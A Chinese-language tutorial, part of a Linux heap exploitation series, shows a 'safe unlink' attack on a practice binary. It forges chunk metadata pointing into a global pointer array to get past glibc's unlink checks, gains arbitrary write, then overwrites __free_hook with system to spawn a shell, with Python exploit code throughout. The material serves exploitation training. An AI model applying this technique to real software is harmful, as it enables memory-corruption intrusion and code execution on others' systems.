从零开始的Linux堆利用5 -- Safe Unlink

前面说的Unsafe_Unlink是比较老的技术,后面glibc对堆的unlink进行了检查,另外也支持了NX这样的技术;

这一节介绍Safe_Unlink的攻击方法;

我们直接来看一下这次用到的程序

image-20210425161118970

相比之前的程序,主要有两处不同,首先是程序开启了NX,另外就是使用到了更加新的glibc

程序运行起来还是一个类似的选单

image-20210425161341347

我们首先还是尝试获取到任意地址写的能力,修改这里的target值,之后利用这个任意地址写提升为命令执行的权限;

在比较新的glibc中,unlink从原本的一个宏变成了函数,下面这个宏是我们之前unsafe_unlink中的unlink

#define unlink(P,BK,FD)
{
  BK = P->bk;
  FD = P->fd;
  FD->bk = BK;
  BK->fd = FD;
}

之后在更新的glibc中变成了这样的一个函数:

static void unlink_chunk(mstate av, mchunkptr p){
  if(chunksize (p) != prev_size(next_chunk(p)))
    malloc_printerr("corrupted size vs. prev_size");
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  if(__builtin_expert(fd->bk!=p || bk->fd! = p,0))
    malloc_printerr("corrupted double-linked list");
  fd->bk = bk;
  bk->fd = fd;
  ...
}

再下面的一部分的代码就是针对smallbin设置nextsize相关的地方了,对我们这次看的不是特别关键;

我们只关注这两个if判断就可以,可以看到这两个if判断比较了fd->bkbk->fd事都是这个chunk本身;

如果fd、bk没有指向这个要unlink的chunk就会报错;

在linux的堆管理器中有一个优化,就是堆管理器在将内存分配给线程之后就不会再去管这个内存块的地址了,它只会关注线程总体的top_chunk以及free_list

在这种情况下,进程需要有一个地方存储自己申请的堆块地址,有的程序会放在栈上,有的放在堆上,像这个程序的话则是放在了bss段中一个叫做m_array的变量中,(这个名字可以随便起,这只是这个程序里叫这个)

我们在IDA中打开这个程序可以看到申请内存相关的地方存在对这个的设置;

image-20210425162921932

在gdb调试中查看这个地方

image-20210425164509458

首先p &m_array打出了这个数组的地址为0x602060

xinfo 0x602060可以查看这个地址所在虚拟内存的映射情况,这里写出属于safe_unlink这个二进制本身的bss

p m_array可以打印出这个结构的值

最后也可以用ptype查看这里的定义

image-20210425164717746

这里看到定义的是长度为二的两个机构,分别存储着user_data以及request_size

我们用vis看到的堆布局和这个一致

image-20210425164901633

以及随手敲的两个长度也是对应的

image-20210425165005913

既然这里存着一个这样的结构,其中存在两个指向chunk的userdata部分的指针,我们就可以利用这个指针来伪造chunk进而绕过safe unlink的检查;

任意地址写

通过溢出伪造chunk_B

首先我们还是用和之前类似的方法,编辑chunk_A的内容,消除chunk_B的prev_inuse标志位,这样在之后free(B)的时候堆管理器会误以为chunk_A也已经被free掉了,进而合并chunk_A、chunk_B和top_chunk

chunk_A = malloc(0x88)
chunk_B = malloc(0x88)

# Prepare fake chunk metadata.
fd = 0xdeadbeef                                                                                                                                          
bk = 0xcafebabe
prev_size = 0x90
fake_size = 0x90
edit(chunk_A, p64(fd) + p64(bk) + p8(0)*0x70 + p64(prev_size) + p64(fake_size))

运行看到通过溢出,chunk_B的prev_inuse被清零

image-20210425171625300

同时chunk_A最后8个字节被算作chunk_B的一部分,是prev_size

fdbk也都是目前伪造的地址;

如果是之前的那种远古unlink宏,直接修改fd、bk就可以达到任意地址写的效果;

但是前面我们也说到了更新一些的glibc中对unlink做了更细致的检查

会检查0xdeadbeef->bk以及0xcafebabe->fd是否为0x603000

那么这里就没办法简单的直接修改了;

借助m_array中的指针绕过unlink检查

我们前面看到,这个程序中在bss段存储着一个用于统计分配给进程的堆的数据结构,其中存在两个指向userdata的指针

把这个指针当作是一个chunk的fd,那么我们伪造的chunk的bk就可以指向这里,bk->fd==p就可以绕过了

把这个指针当作是一个chunk的bk,那么我们伪造的chunk的fd就可以指向这里,fd->bk==p就可以绕过了

fd = elf.sym.m_array - 0x18
bk = elf.sym.m_array - 0x10

image-20210425203528887

这时可以看到,我们伪造的被free的chunk_A中的fd->bk==0x603010,但是这个值并不是chunk本身,而是chunk中的user data起始位置;

m_array中的值是没办法直接改动的,因此我们在伪造chunk的时候干脆连meta data一起伪造,伪造出一个从0x603010开始的chunk

在前面增加一个0和一个0x80的大小,后面记得要减小0x10的填充数据大小

chunk_A = malloc(0x88)
chunk_B = malloc(0x88)

# Prepare fake chunk metadata.
fd = elf.sym.m_array - 0x18
bk = elf.sym.m_array - 0x10

prev_size = 0x80
fake_size = 0x90

edit(chunk_A, p64(0) + p64(0x80) + p64(fd) + p64(bk) + p8(0)*0x60 + p64(prev_size) + p64(fake_size))   

image-20210425204209112

可以看到伪造的内容是一个大小0x80的chunk,继续运行,free(1)把后面的chunk_A给free掉

这时堆管理器处理时看到prev_inuse是0,就根据prev_size与前面的块合并,一同合并到top_chunk

执行完之后再断下来看一下,但是这时不能用vis了,因为堆已经被破坏了

我们用mp_.sbrk_base可以看到top_chunk已经变成了0x603010了也就是我们伪造的那个chunk的开始位置

也就是说两个空闲堆块已经consolidate到top_chunk了

image-20210425204543853

再查看一下m_array

image-20210425205430002

可以看到m_array[0]已经变成了0x602048

这是我们之前伪造的bk->fd=fd写入的

(伪造的bk是0x602050,指向的块的fd是0x602060,伪造的fd是0x602048;所以这里就是在0x602060的位置写入了0x602048

这时由于m_array[0]的值已经被我们控制了,再使用edit(0)执行时就是往0x602048处写内容,也就是可以再次修改m_array的内容

我们再修改一次m_array[0],将其修改为我们想要写入值的地址,比如修改为target的地址

之后再一次edit(0),就可以修改target中的内容了

image-20210425210323547

Drop a Shell!

有了任意地址写的能力之后,我们进一步就想要提升权限为返回一个shell

我们还是直接修改free_hook的值为system,这样free的时候就可以调用system

那么问题就是哪里放"/bin/sh"呢?

这边有一个比较tricky的方法,就是在修改__free_hook的时候不直接把m_array[0]修改为__free_hook

我们可以修改为__free_hook - 8这样__free_hook前面8个字节放"/bin/sh\x00",之后是system的地址

并且由于m_array[0]指向的是__free_hook - 8正好就是/bin/sh的位置

image-20210425211442076

在IDA中可以看到,调用选项三的时候最终实际上就是free(m_array[nb].user_data)

所以直接调用free(0)就会调用system("/bin/sh")

chunk_A = malloc(0x88)
chunk_B = malloc(0x88)

# Prepare fake chunk metadata.
fd = elf.sym.m_array - 0x18
bk = elf.sym.m_array - 0x10

prev_size = 0x80
fake_size = 0x90

edit(chunk_A, p64(0) + p64(0x80) + p64(fd) + p64(bk) + p8(0)*0x60 + p64(prev_size) + p64(fake_size))

free(chunk_B)

#edit(chunk_A, p64(0)*3 + p64(elf.sym['target']))
edit(chunk_A, p64(0)*3 + p64(libc.sym['__free_hook']-8))
edit(chunk_A,b"/bin/sh\x00"+p64(libc.sym["system"]))

free(chunk_A)

看到最后的结果

image-20210425211238213

拿到了任意代码执行的能力